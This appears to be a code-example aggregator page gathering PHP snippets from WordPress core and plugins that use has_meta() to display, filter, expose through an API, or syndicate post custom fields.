?>
</div>
</div>
</fieldset>
</div>

<div class="dbx-b-ox-wrapper">
<fieldset id="postcustom" class="dbx-box">
<div class="dbx-h-andle-wrapper">
<h3 class="dbx-handle"><?php _e('Custom Fields') ?></h3>
</div>
<div class="dbx-c-ontent-wrapper">
<div id="postcustomstuff" class="dbx-content">
<table cellpadding="3">
<?php
$metadata = has_meta($post_ID);
list_meta($metadata);
?>

</table>
<?php
	meta_form();
?>
<div id="ajax-response"></div>
</div>
</div>
</fieldset>
</div>

<?php do_action('dbx_post_advanced'); ?>
Ejemplo n.º 2
0
 /**
  * Retrieve custom fields for post.
  *
  * @since 2.5.0
  *
  * @param int $post_id Post ID.
  * @return array Custom fields, if exist.
  */
 public function get_custom_fields($post_id)
 {
     $post_id = (int) $post_id;
     $custom_fields = array();
     foreach ((array) has_meta($post_id) as $meta) {
         // Don't expose protected fields.
         if (!current_user_can('edit_post_meta', $post_id, $meta['meta_key'])) {
             continue;
         }
         $custom_fields[] = array("id" => $meta['meta_id'], "key" => $meta['meta_key'], "value" => $meta['meta_value']);
     }
     return $custom_fields;
 }
Ejemplo n.º 3
0
 public static function get_custom_fields_from_wp_postmeta($post_ID = NULL)
 {
     $custom_fields = get_option('lingotek_custom_fields', array());
     $meta_black_list = array('_encloseme', '_edit_last', '_edit_lock', '_wp_trash_meta_status', '_wp_trash_meta_time');
     $arr = array();
     $keys = array();
     if ($post_ID) {
         $p = get_post($post_ID);
         $posts[] = $p;
     } else {
         $posts = get_posts(array('posts_per_page' => -1, 'post_type' => 'post'));
         $pages = get_posts(array('posts_per_page' => -1, 'post_type' => 'page'));
         $posts = array_merge($posts, $pages);
     }
     foreach ($posts as $post) {
         $metadata = has_meta($post->ID);
         foreach ($metadata as $key => $meta) {
             if (in_array($meta['meta_key'], $meta_black_list) || in_array($meta['meta_key'], $keys)) {
                 unset($metadata[$key]);
             }
             $keys[] = $meta['meta_key'];
         }
         $arr = array_merge($arr, $metadata);
     }
     // allow plugins to modify the fields to translate
     return apply_filters('lingotek_post_custom_fields', $arr);
 }
Ejemplo n.º 4
0
/**
 * Display custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_custom_meta_box($post)
{
    ?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php 
    $metadata = has_meta($post->ID);
    foreach ($metadata as $key => $value) {
        if (is_protected_meta($metadata[$key]['meta_key'], 'post') || !current_user_can('edit_post_meta', $post->ID, $metadata[$key]['meta_key'])) {
            unset($metadata[$key]);
        }
    }
    list_meta($metadata);
    meta_form($post);
    ?>
</div>
<p><?php 
    _e('Custom fields can be used to add extra metadata to a post that you can <a href="https://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
    ?>
</p>
<?php 
}
 /**
  * Get a post by a specified field and value
  *
  * @param string $field
  * @param string $field_value
  * @param string $context Post use context (e.g. 'display')
  * @return array Post
  **/
 function get_post_by($field, $field_value, $context = 'display')
 {
     global $blog_id;
     /** This filter is documented in class.json-api-endpoints.php */
     $is_jetpack = true === apply_filters('is_jetpack_site', false, $blog_id);
     if (defined('GEO_LOCATION__CLASS') && class_exists(GEO_LOCATION__CLASS)) {
         $geo = call_user_func(array(GEO_LOCATION__CLASS, 'init'));
     } else {
         $geo = false;
     }
     if ('display' === $context) {
         $args = $this->query_args();
         if (isset($args['content_width']) && $args['content_width']) {
             $GLOBALS['content_width'] = (int) $args['content_width'];
         }
     }
     if (strpos($_SERVER['HTTP_USER_AGENT'], 'wp-windows8')) {
         remove_shortcode('gallery', 'gallery_shortcode');
         add_shortcode('gallery', array(&$this, 'win8_gallery_shortcode'));
     }
     switch ($field) {
         case 'name':
             $post_id = $this->get_post_id_by_name($field_value);
             if (is_wp_error($post_id)) {
                 return $post_id;
             }
             break;
         default:
             $post_id = (int) $field_value;
             break;
     }
     $post = get_post($post_id, OBJECT, $context);
     if (!$post || is_wp_error($post)) {
         return new WP_Error('unknown_post', 'Unknown post', 404);
     }
     if (!$this->is_post_type_allowed($post->post_type) && (!function_exists('is_post_freshly_pressed') || !is_post_freshly_pressed($post->ID))) {
         return new WP_Error('unknown_post', 'Unknown post', 404);
     }
     // Permissions
     $capabilities = $this->get_current_user_capabilities($post);
     switch ($context) {
         case 'edit':
             if (!$capabilities['edit_post']) {
                 return new WP_Error('unauthorized', 'User cannot edit post', 403);
             }
             break;
         case 'display':
             break;
         default:
             return new WP_Error('invalid_context', 'Invalid API CONTEXT', 400);
     }
     $can_view = $this->user_can_view_post($post->ID);
     if (!$can_view || is_wp_error($can_view)) {
         return $can_view;
     }
     $GLOBALS['post'] = $post;
     if ('display' === $context) {
         setup_postdata($post);
     }
     $response = array();
     foreach (array_keys($this->post_object_format) as $key) {
         switch ($key) {
             case 'ID':
                 // explicitly cast all output
                 $response[$key] = (int) $post->ID;
                 break;
             case 'site_ID':
                 $response[$key] = (int) $this->api->get_blog_id_for_output();
                 break;
             case 'author':
                 $response[$key] = (object) $this->get_author($post, 'edit' === $context && $capabilities['edit_post']);
                 break;
             case 'date':
                 $response[$key] = (string) $this->format_date($post->post_date_gmt, $post->post_date);
                 break;
             case 'modified':
                 $response[$key] = (string) $this->format_date($post->post_modified_gmt, $post->post_modified);
                 break;
             case 'title':
                 if ('display' === $context) {
                     $response[$key] = (string) get_the_title($post->ID);
                 } else {
                     $response[$key] = (string) htmlspecialchars_decode($post->post_title, ENT_QUOTES);
                 }
                 break;
             case 'URL':
                 if ('revision' === $post->post_type) {
                     $response[$key] = (string) esc_url_raw(get_permalink($post->post_parent));
                 } else {
                     $response[$key] = (string) esc_url_raw(get_permalink($post->ID));
                 }
                 break;
             case 'short_URL':
                 $response[$key] = (string) esc_url_raw(wp_get_shortlink($post->ID));
                 break;
             case 'content':
                 if ('display' === $context) {
                     add_filter('the_password_form', array($this, 'the_password_form'));
                     $response[$key] = (string) $this->get_the_post_content_for_display();
                     remove_filter('the_password_form', array($this, 'the_password_form'));
                 } else {
                     $response[$key] = (string) $post->post_content;
                 }
                 break;
             case 'excerpt':
                 if ('display' === $context) {
                     add_filter('the_password_form', array($this, 'the_password_form'));
                     ob_start();
                     the_excerpt();
                     $response[$key] = (string) ob_get_clean();
                     remove_filter('the_password_form', array($this, 'the_password_form'));
                 } else {
                     $response[$key] = htmlspecialchars_decode((string) $post->post_excerpt, ENT_QUOTES);
                 }
                 break;
             case 'status':
                 $response[$key] = (string) get_post_status($post->ID);
                 break;
             case 'sticky':
                 $response[$key] = (bool) is_sticky($post->ID);
                 break;
             case 'slug':
                 $response[$key] = (string) $post->post_name;
                 break;
             case 'guid':
                 $response[$key] = (string) $post->guid;
                 break;
             case 'password':
                 $response[$key] = (string) $post->post_password;
                 if ('edit' === $context) {
                     $response[$key] = htmlspecialchars_decode((string) $response[$key], ENT_QUOTES);
                 }
                 break;
             case 'parent':
                 // (object|false)
                 if ($post->post_parent) {
                     $parent = get_post($post->post_parent);
                     if ('display' === $context) {
                         $parent_title = (string) get_the_title($parent->ID);
                     } else {
                         $parent_title = (string) htmlspecialchars_decode($post->post_title, ENT_QUOTES);
                     }
                     $response[$key] = (object) array('ID' => (int) $parent->ID, 'type' => (string) $parent->post_type, 'link' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $parent->ID), 'title' => $parent_title);
                 } else {
                     $response[$key] = false;
                 }
                 break;
             case 'type':
                 $response[$key] = (string) $post->post_type;
                 break;
             case 'discussion':
                 $response[$key] = array('comments_open' => (bool) comments_open($post->ID), 'comment_status' => (string) $post->comment_status, 'pings_open' => (bool) pings_open($post->ID), 'ping_status' => (string) $post->ping_status, 'comment_count' => (int) $post->comment_count);
                 break;
             case 'likes_enabled':
                 /** This filter is documented in modules/likes.php */
                 $sitewide_likes_enabled = (bool) apply_filters('wpl_is_enabled_sitewide', !get_option('disabled_likes'));
                 $post_likes_switched = (bool) get_post_meta($post->ID, 'switch_like_status', true);
                 $post_likes_enabled = $sitewide_likes_enabled;
                 if ($post_likes_switched) {
                     $post_likes_enabled = !$post_likes_enabled;
                 }
                 $response[$key] = (bool) $post_likes_enabled;
                 break;
             case 'sharing_enabled':
                 $show = true;
                 /** This filter is documented in modules/sharedaddy/sharing-service.php */
                 $show = apply_filters('sharing_show', $show, $post);
                 $switched_status = get_post_meta($post->ID, 'sharing_disabled', false);
                 if (!empty($switched_status)) {
                     $show = false;
                 }
                 $response[$key] = (bool) $show;
                 break;
             case 'like_count':
                 $response[$key] = (int) $this->api->post_like_count($blog_id, $post->ID);
                 break;
             case 'i_like':
                 $response[$key] = (int) $this->api->is_liked($blog_id, $post->ID);
                 break;
             case 'is_reblogged':
                 $response[$key] = (int) $this->api->is_reblogged($blog_id, $post->ID);
                 break;
             case 'is_following':
                 $response[$key] = (int) $this->api->is_following($blog_id);
                 break;
             case 'global_ID':
                 $response[$key] = (string) $this->api->add_global_ID($blog_id, $post->ID);
                 break;
             case 'featured_image':
                 if ($is_jetpack && (defined('IS_WPCOM') && IS_WPCOM)) {
                     $response[$key] = get_post_meta($post->ID, '_jetpack_featured_image', true);
                 } else {
                     $image_attributes = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'full');
                     if (is_array($image_attributes) && isset($image_attributes[0])) {
                         $response[$key] = (string) $image_attributes[0];
                     } else {
                         $response[$key] = '';
                     }
                 }
                 break;
             case 'post_thumbnail':
                 $response[$key] = null;
                 $thumb_id = get_post_thumbnail_id($post->ID);
                 if (!empty($thumb_id)) {
                     $attachment = get_post($thumb_id);
                     if (!empty($attachment)) {
                         $featured_image_object = $this->get_attachment($attachment);
                     }
                     if (!empty($featured_image_object)) {
                         $response[$key] = (object) $featured_image_object;
                     }
                 }
                 break;
             case 'format':
                 $response[$key] = (string) get_post_format($post->ID);
                 if (!$response[$key]) {
                     $response[$key] = 'standard';
                 }
                 break;
             case 'geo':
                 // (object|false)
                 if (!$geo) {
                     $response[$key] = false;
                 } else {
                     $geo_data = $geo->get_geo('post', $post->ID);
                     $response[$key] = false;
                     if ($geo_data) {
                         $geo_data = array_intersect_key($geo_data, array('latitude' => true, 'longitude' => true, 'address' => true, 'public' => true));
                         if ($geo_data) {
                             $response[$key] = (object) array('latitude' => isset($geo_data['latitude']) ? (double) $geo_data['latitude'] : 0, 'longitude' => isset($geo_data['longitude']) ? (double) $geo_data['longitude'] : 0, 'address' => isset($geo_data['address']) ? (string) $geo_data['address'] : '');
                         } else {
                             $response[$key] = false;
                         }
                         // Private
                         if (!isset($geo_data['public']) || !$geo_data['public']) {
                             if ('edit' !== $context || !$capabilities['edit_post']) {
                                 // user can't access
                                 $response[$key] = false;
                             }
                         }
                     }
                 }
                 break;
             case 'menu_order':
                 $response[$key] = (int) $post->menu_order;
                 break;
             case 'page_template':
                 $response[$key] = (string) get_post_meta($post->ID, '_wp_page_template', true);
                 break;
             case 'publicize_URLs':
                 $publicize_URLs = array();
                 $publicize = get_post_meta($post->ID, 'publicize_results', true);
                 if ($publicize) {
                     foreach ($publicize as $service => $data) {
                         switch ($service) {
                             case 'twitter':
                                 foreach ($data as $datum) {
                                     $publicize_URLs[] = esc_url_raw("https://twitter.com/{$datum['user_id']}/status/{$datum['post_id']}");
                                 }
                                 break;
                             case 'fb':
                                 foreach ($data as $datum) {
                                     $publicize_URLs[] = esc_url_raw("https://www.facebook.com/permalink.php?story_fbid={$datum['post_id']}&id={$datum['user_id']}");
                                 }
                                 break;
                         }
                     }
                 }
                 $response[$key] = (array) $publicize_URLs;
                 break;
             case 'tags':
                 $response[$key] = array();
                 $terms = wp_get_post_tags($post->ID);
                 foreach ($terms as $term) {
                     if (!empty($term->name)) {
                         $response[$key][$term->name] = $this->format_taxonomy($term, 'post_tag', 'display');
                     }
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'categories':
                 $response[$key] = array();
                 $terms = wp_get_object_terms($post->ID, 'category', array('fields' => 'all'));
                 foreach ($terms as $term) {
                     if (!empty($term->name)) {
                         $response[$key][$term->name] = $this->format_taxonomy($term, 'category', 'display');
                     }
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'attachments':
                 $response[$key] = array();
                 $_attachments = new WP_Query(array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'posts_per_page' => '20'));
                 foreach ($_attachments->posts as $attachment) {
                     $response[$key][$attachment->ID] = $this->get_media_item_v1_1($attachment->ID);
                 }
                 $response['attachment_count'] = $_attachments->found_posts;
                 $response[$key] = (object) $response[$key];
                 break;
             case 'metadata':
                 // (array|false)
                 $metadata = array();
                 foreach ((array) has_meta($post_id) as $meta) {
                     // Don't expose protected fields.
                     $show = false;
                     if ($this->is_metadata_public($meta['meta_key'])) {
                         $show = true;
                     }
                     if (current_user_can('edit_post_meta', $post_id, $meta['meta_key'])) {
                         $show = true;
                     }
                     if (!$show) {
                         continue;
                     }
                     $metadata[] = array('id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => maybe_unserialize($meta['meta_value']));
                 }
                 if (!empty($metadata)) {
                     $response[$key] = $metadata;
                 } else {
                     $response[$key] = false;
                 }
                 break;
             case 'meta':
                 $response[$key] = (object) array('links' => (object) array('self' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID), 'help' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'help'), 'site' => (string) $this->get_site_link($this->api->get_blog_id_for_output()), 'replies' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'replies/'), 'likes' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'likes/')));
                 break;
             case 'capabilities':
                 $response[$key] = $capabilities;
                 break;
         }
     }
     // WPCOM_JSON_API_Post_Endpoint::find_featured_worthy_media( $post );
     // $response['featured_media'] = self::find_featured_media( $response );
     unset($GLOBALS['post']);
     return $response;
 }
Ejemplo n.º 6
0
 function get_post_by($field, $post_id, $context = 'display')
 {
     global $blog_id;
     if (defined('GEO_LOCATION__CLASS') && class_exists(GEO_LOCATION__CLASS)) {
         $geo = call_user_func(array(GEO_LOCATION__CLASS, 'init'));
     } else {
         $geo = false;
     }
     if ('display' === $context) {
         $args = $this->query_args();
         if (isset($args['content_width']) && $args['content_width']) {
             $GLOBALS['content_width'] = (int) $args['content_width'];
         }
     }
     if (strpos($_SERVER['HTTP_USER_AGENT'], 'wp-windows8')) {
         remove_shortcode('gallery', 'gallery_shortcode');
         add_shortcode('gallery', array(&$this, 'win8_gallery_shortcode'));
     }
     switch ($field) {
         case 'name':
             $post_id = sanitize_title($post_id);
             if (!$post_id) {
                 return new WP_Error('invalid_post', 'Invalid post', 400);
             }
             $posts = get_posts(array('name' => $post_id));
             if (!$posts || !isset($posts[0]->ID) || !$posts[0]->ID) {
                 $page = get_page_by_path($post_id);
                 if (!$page) {
                     return new WP_Error('unknown_post', 'Unknown post', 404);
                 }
                 $post_id = $page->ID;
             } else {
                 $post_id = (int) $posts[0]->ID;
             }
             break;
         default:
             $post_id = (int) $post_id;
             break;
     }
     $post = get_post($post_id);
     if (!$post || is_wp_error($post)) {
         return new WP_Error('unknown_post', 'Unknown post', 404);
     }
     if (!$this->is_post_type_allowed($post->post_type)) {
         return new WP_Error('unknown_post', 'Unknown post', 404);
     }
     // Permissions
     switch ($context) {
         case 'edit':
             if (!current_user_can('edit_post', $post->ID)) {
                 return new WP_Error('unauthorized', 'User cannot edit post', 403);
             }
             break;
         case 'display':
             break;
         default:
             return new WP_Error('invalid_context', 'Invalid API CONTEXT', 400);
     }
     $can_view = $this->user_can_view_post($post->ID);
     if (!$can_view || is_wp_error($can_view)) {
         return $can_view;
     }
     // Re-get post according to the correct $context
     $post = get_post($post->ID, OBJECT, $context);
     $GLOBALS['post'] = $post;
     if ('display' === $context) {
         setup_postdata($post);
     }
     $response = array();
     foreach (array_keys($this->post_object_format) as $key) {
         switch ($key) {
             case 'ID':
                 // explicitly cast all output
                 $response[$key] = (int) $post->ID;
                 break;
             case 'author':
                 $response[$key] = (object) $this->get_author($post, 'edit' === $context && current_user_can('edit_post', $post->ID));
                 break;
             case 'date':
                 $response[$key] = (string) $this->format_date($post->post_date_gmt, $post->post_date);
                 break;
             case 'modified':
                 $response[$key] = (string) $this->format_date($post->post_modified_gmt, $post->post_modified);
                 break;
             case 'title':
                 if ('display' === $context) {
                     $response[$key] = (string) get_the_title($post->ID);
                 } else {
                     $response[$key] = (string) $post->post_title;
                 }
                 break;
             case 'URL':
                 $response[$key] = (string) esc_url_raw(get_permalink($post->ID));
                 break;
             case 'short_URL':
                 $response[$key] = (string) esc_url_raw(wp_get_shortlink($post->ID));
                 break;
             case 'content':
                 if ('display' === $context) {
                     add_filter('the_password_form', array($this, 'the_password_form'));
                     $response[$key] = (string) $this->get_the_post_content_for_display();
                     remove_filter('the_password_form', array($this, 'the_password_form'));
                 } else {
                     $response[$key] = (string) $post->post_content;
                 }
                 break;
             case 'excerpt':
                 if ('display' === $context) {
                     add_filter('the_password_form', array($this, 'the_password_form'));
                     ob_start();
                     the_excerpt();
                     $response[$key] = (string) ob_get_clean();
                     remove_filter('the_password_form', array($this, 'the_password_form'));
                 } else {
                     $response[$key] = (string) $post->post_excerpt;
                 }
                 break;
             case 'status':
                 $response[$key] = (string) get_post_status($post->ID);
                 break;
             case 'slug':
                 $response[$key] = (string) $post->post_name;
                 break;
             case 'password':
                 $response[$key] = (string) $post->post_password;
                 break;
             case 'parent':
                 // (object|false)
                 if ($post->post_parent) {
                     $parent = get_post($post->post_parent);
                     $response[$key] = (object) array('ID' => (int) $parent->ID, 'type' => (string) $parent->post_type, 'link' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $parent->ID));
                 } else {
                     $response[$key] = false;
                 }
                 break;
             case 'type':
                 $response[$key] = (string) $post->post_type;
                 break;
             case 'comments_open':
                 $response[$key] = (bool) comments_open($post->ID);
                 break;
             case 'pings_open':
                 $response[$key] = (bool) pings_open($post->ID);
                 break;
             case 'comment_count':
                 $response[$key] = (int) $post->comment_count;
                 break;
             case 'like_count':
                 $response[$key] = (int) $this->api->post_like_count($blog_id, $post->ID);
                 break;
             case 'i_like':
                 $response[$key] = (int) $this->api->is_liked($blog_id, $post->ID);
                 break;
             case 'is_reblogged':
                 $response[$key] = (int) $this->api->is_reblogged($blog_id, $post->ID);
                 break;
             case 'is_following':
                 $response[$key] = (int) $this->api->is_following($blog_id);
                 break;
             case 'featured_image':
                 $image_attributes = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'full');
                 if (is_array($image_attributes) && isset($image_attributes[0])) {
                     $response[$key] = (string) $image_attributes[0];
                 } else {
                     $response[$key] = '';
                 }
                 break;
             case 'format':
                 $response[$key] = (string) get_post_format($post->ID);
                 if (!$response[$key]) {
                     $response[$key] = 'standard';
                 }
                 break;
             case 'geo':
                 // (object|false)
                 if (!$geo) {
                     $response[$key] = false;
                 } else {
                     $geo_data = $geo->get_geo('post', $post->ID);
                     $response[$key] = false;
                     if ($geo_data) {
                         $geo_data = array_intersect_key($geo_data, array('latitude' => true, 'longitude' => true, 'address' => true, 'public' => true));
                         if ($geo_data) {
                             $response[$key] = (object) array('latitude' => isset($geo_data['latitude']) ? (double) $geo_data['latitude'] : 0, 'longitude' => isset($geo_data['longitude']) ? (double) $geo_data['longitude'] : 0, 'address' => isset($geo_data['address']) ? (string) $geo_data['address'] : '');
                         } else {
                             $response[$key] = false;
                         }
                         // Private
                         if (!isset($geo_data['public']) || !$geo_data['public']) {
                             if ('edit' !== $context || !current_user_can('edit_post', $post->ID)) {
                                 // user can't access
                                 $response[$key] = false;
                             }
                         }
                     }
                 }
                 break;
             case 'publicize_URLs':
                 $publicize_URLs = array();
                 $publicize = get_post_meta($post->ID, 'publicize_results', true);
                 if ($publicize) {
                     foreach ($publicize as $service => $data) {
                         switch ($service) {
                             case 'twitter':
                                 foreach ($data as $datum) {
                                     $publicize_URLs[] = esc_url_raw("https://twitter.com/{$datum['user_id']}/status/{$datum['post_id']}");
                                 }
                                 break;
                             case 'fb':
                                 foreach ($data as $datum) {
                                     $publicize_URLs[] = esc_url_raw("https://www.facebook.com/permalink.php?story_fbid={$datum['post_id']}&id={$datum['user_id']}");
                                 }
                                 break;
                         }
                     }
                 }
                 $response[$key] = (array) $publicize_URLs;
                 break;
             case 'tags':
                 $response[$key] = array();
                 $terms = wp_get_post_tags($post->ID);
                 foreach ($terms as $term) {
                     if (!empty($term->name)) {
                         $response[$key][$term->name] = $this->get_taxonomy($term->slug, 'post_tag', $context);
                     }
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'categories':
                 $response[$key] = array();
                 $terms = wp_get_post_categories($post->ID);
                 foreach ($terms as $term) {
                     $category = $taxonomy = get_term_by('id', $term, 'category');
                     if (!empty($category->name)) {
                         $response[$key][$category->name] = $this->get_taxonomy($category->slug, 'category', $context);
                     }
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'attachments':
                 $response[$key] = array();
                 $_attachments = get_posts(array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment'));
                 foreach ($_attachments as $attachment) {
                     $response[$key][$attachment->ID] = $this->get_attachment($attachment);
                 }
                 $response[$key] = (object) $response[$key];
                 break;
             case 'metadata':
                 // (array|false)
                 $metadata = array();
                 foreach ((array) has_meta($post_id) as $meta) {
                     // Don't expose protected fields.
                     $show = false;
                     if ($this->is_metadata_public($meta['meta_key'])) {
                         $show = true;
                     }
                     if (current_user_can('edit_post_meta', $post_id, $meta['meta_key'])) {
                         $show = true;
                     }
                     if (!$show) {
                         continue;
                     }
                     $metadata[] = array('id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => maybe_unserialize($meta['meta_value']));
                 }
                 if (!empty($metadata)) {
                     $response[$key] = $metadata;
                 } else {
                     $response[$key] = false;
                 }
                 break;
             case 'meta':
                 $response[$key] = (object) array('links' => (object) array('self' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID), 'help' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'help'), 'site' => (string) $this->get_site_link($this->api->get_blog_id_for_output()), 'replies' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'replies/'), 'likes' => (string) $this->get_post_link($this->api->get_blog_id_for_output(), $post->ID, 'likes/')));
                 break;
         }
     }
     unset($GLOBALS['post']);
     return $response;
 }
Ejemplo n.º 7
0
 /**
  * Retrieve custom fields for post.
  *
  * @since 2.5.0
  *
  * @param int $post_id Post ID.
  * @return array Custom fields, if exist.
  */
 function get_custom_fields($post_id)
 {
     $post_id = (int) $post_id;
     $custom_fields = array();
     foreach ((array) has_meta($post_id) as $meta) {
         // Don't expose protected fields.
         if (strpos($meta['meta_key'], '_wp_') === 0) {
             continue;
         }
         $custom_fields[] = array("id" => $meta['meta_id'], "key" => $meta['meta_key'], "value" => $meta['meta_value']);
     }
     return $custom_fields;
 }
Ejemplo n.º 8
0
/**
 * Display custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_custom_meta_box($post)
{
    ?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php 
    $metadata = has_meta($post->ID);
    list_meta($metadata);
    meta_form();
    ?>
</div>
<p><?php 
    _e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
    ?>
</p>
<?php 
}
Ejemplo n.º 9
0
 function embed_audio_clip()
 {
     global $post;
     if (has_meta($post, AUDIO_META_KEY)) {
         $clip = unserialize();
     }
 }
 public function get_metadata()
 {
     $metadata = array();
     foreach ((array) has_meta($this->post->ID) as $meta) {
         // Don't expose protected fields.
         $meta_key = $meta['meta_key'];
         $show = !WPCOM_JSON_API_Metadata::is_internal_only($meta_key) && (WPCOM_JSON_API_Metadata::is_public($meta_key) || current_user_can('edit_post_meta', $this->post->ID, $meta_key));
         if ($show) {
             $metadata[] = array('id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => maybe_unserialize($meta['meta_value']));
         }
     }
     if (!empty($metadata)) {
         return $metadata;
     } else {
         return false;
     }
 }
Ejemplo n.º 11
0
 function syndicate_out_post($postId)
 {
     if ($soOptions = get_option('so_options')) {
         if (isset($soOptions['group']) && is_array($soOptions['group'])) {
             foreach ($soOptions['group'] as $syndicationGroup) {
                 if (-1 == $syndicationGroup['category'] || in_category($syndicationGroup['category'], $postId)) {
                     $activeGroups[] = $syndicationGroup;
                 }
             }
             if (count($activeGroups) > 0) {
                 if (@(include_once ABSPATH . WPINC . '/class-IXR.php')) {
                     // Get required post information...
                     $postData = get_post($postId);
                     /////////////////////////////////////
                     /*
                        $postattachments_args = array(
                     	'post_type' => 'attachment',
                        	'numberposts' => -1,
                        	'post_status' => null,
                        	'post_parent' => $postId
                        );
                     
                       $post_attachments = get_posts( $postattachments_args );
                          if ( $post_attachments ) {
                             foreach ( $post_attachments as $post_attachment ) {
                               get_attached_file( $post_attachment->ID, 'full' );
                               }
                          }
                     */
                     /////////////////////////////////////
                     if ('inherit' == $postData->post_status) {
                         $postMetaId = $postData->post_parent;
                     } else {
                         $postMetaId = $postId;
                     }
                     // Title...
                     $remotePost['title'] = $postData->post_title;
                     // Description...
                     $remotePost['description'] = $postData->post_content;
                     // Permalink...
                     $remotePost['link'] = get_permalink($postData->ID);
                     // Custom fields...
                     $postMeta = has_meta($postMetaId);
                     if (is_array($postMeta)) {
                         $remotePost['custom_fields'] = array();
                         foreach ($postMeta as $metaSingle) {
                             if ($metaSingle['meta_key'][0] != '_') {
                                 $remotePost['custom_fields'][] = array('key' => $metaSingle['meta_key'], 'value' => $metaSingle['meta_value']);
                             }
                         }
                     }
                     // Tags...
                     if ($postTags = syndicate_out_get_tags($postId)) {
                         $keywords = array();
                         foreach ($postTags as $postTag) {
                             $keywords[] = $postTag->name;
                         }
                         $remotePost['mt_keywords'] = implode(',', $keywords);
                     }
                     // Categories...
                     $groupCategoryArray = array();
                     foreach ($activeGroups as $groupKey => $groupDetails) {
                         if ('none' != $groupDetails['syndicate_category']) {
                             if ('syndication' == $groupDetails['syndicate_category'] && -1 != $syndicationGroup['category']) {
                                 $groupCategoryArray[$groupKey]['categories'] = array(get_cat_name($groupDetails['category']));
                             } else {
                                 if ('all' == $groupDetails['syndicate_category'] || -1 == $syndicationGroup['category']) {
                                     $categories = get_the_category($postId);
                                     $groupCategoryArray[$groupKey]['categories'] = array();
                                     foreach ($categories as $postCategory) {
                                         $groupCategoryArray[$groupKey]['categories'][] = $postCategory->cat_name;
                                     }
                                 }
                             }
                         }
                     }
                     // Publish the post to the remote blog(s)...
                     if (false !== ($remotePostIds = unserialize(get_post_meta($postMetaId, '_so_remote_posts', true)))) {
                         if (!isset($remotePostIds['options_version'])) {
                             $newRemotePostIds = array('options_version' => SO_OPTIONS_VERSION);
                             foreach ($remotePostIds as $serverKey => $remotePostId) {
                                 $newRemotePostIds['group'][0][$serverKey] = $remotePostId;
                             }
                             $remotePostIds = $newRemotePostIds;
                             update_post_meta($postMetaId, '_so_remote_posts', serialize($remotePostIds));
                         }
                         foreach ($remotePostIds['group'] as $groupKey => $remoteServers) {
                             if (isset($groupCategoryArray[$groupKey])) {
                                 $compiledGroupPost = array_merge($remotePost, $groupCategoryArray[$groupKey]);
                             } else {
                                 $compiledGroupPost = $remotePost;
                             }
                             foreach ($remoteServers as $serverKey => $remotePostId) {
                                 if (is_numeric($remotePostId)) {
                                     if (isset($soOptions['group'][$groupKey]['servers'][$serverKey])) {
                                         $xmlrpc = new IXR_Client($soOptions['group'][$groupKey]['servers'][$serverKey]['server'] . 'xmlrpc.php');
                                         $xmlrpc->query('metaWeblog.editPost', $remotePostId, $soOptions['group'][$groupKey]['servers'][$serverKey]['username'], $soOptions['group'][$groupKey]['servers'][$serverKey]['password'], $compiledGroupPost, 1);
                                     }
                                 }
                             }
                         }
                     } else {
                         $remotePostInformation = array('options_version' => SO_OPTIONS_VERSION);
                         foreach ($activeGroups as $groupKey => $activeGroup) {
                             if (isset($groupCategoryArray[$groupKey])) {
                                 $compiledGroupPost = array_merge($remotePost, $groupCategoryArray[$groupKey]);
                             } else {
                                 $compiledGroupPost = $remotePost;
                             }
                             foreach ($activeGroup['servers'] as $serverKey => $serverDetails) {
                                 $xmlrpc = new IXR_Client($serverDetails['server'] . 'xmlrpc.php');
                                 $xmlrpc->query('metaWeblog.newPost', 1, $serverDetails['username'], $serverDetails['password'], $compiledGroupPost, 1);
                                 $remotePostInformation['group'][$groupKey][$serverKey] = $xmlrpc->getResponse();
                                 /////////////////////
                                 $postattachments_args = array('post_type' => 'attachment', 'numberposts' => -1, 'post_status' => null, 'post_parent' => $postId);
                                 $post_attachments = get_posts($postattachments_args);
                                 if ($post_attachments) {
                                     foreach ($post_attachments as $post_attachment) {
                                         $filepath = get_attached_file($post_attachment->ID);
                                         error_log("going to post: " . $filepath);
                                         $fs = filesize($filepath);
                                         $file = fopen($filepath, 'rb');
                                         $filedata = fread($file, $fs);
                                         fclose($file);
                                         $attachment_post = array('post_type' => 'attachment', 'post_parent' => $remotePostInformation['group'][$groupKey][$serverKey], 'post_mime_type' => 'image/jpeg');
                                         $xmlrpc->query('metaWeblog.newPost', 1, $serverDetails['username'], $serverDetails['password'], $attachment_post, 1);
                                         $response = $xmlrpc->getResponse();
                                         error_log("response: " . $response);
                                         for ($r = 0; $r < sizeof($response); $r++) {
                                             error_log($response[$r]);
                                         }
                                     }
                                 }
                                 ////////////////////
                             }
                         }
                         update_post_meta($postMetaId, '_so_remote_posts', serialize($remotePostInformation));
                     }
                 }
             }
         }
     }
 }
Ejemplo n.º 12
0
function doMultiMeta()
{
    global $post;
    $meta = has_meta($post->ID);
    // if default template.. assign var to page.php
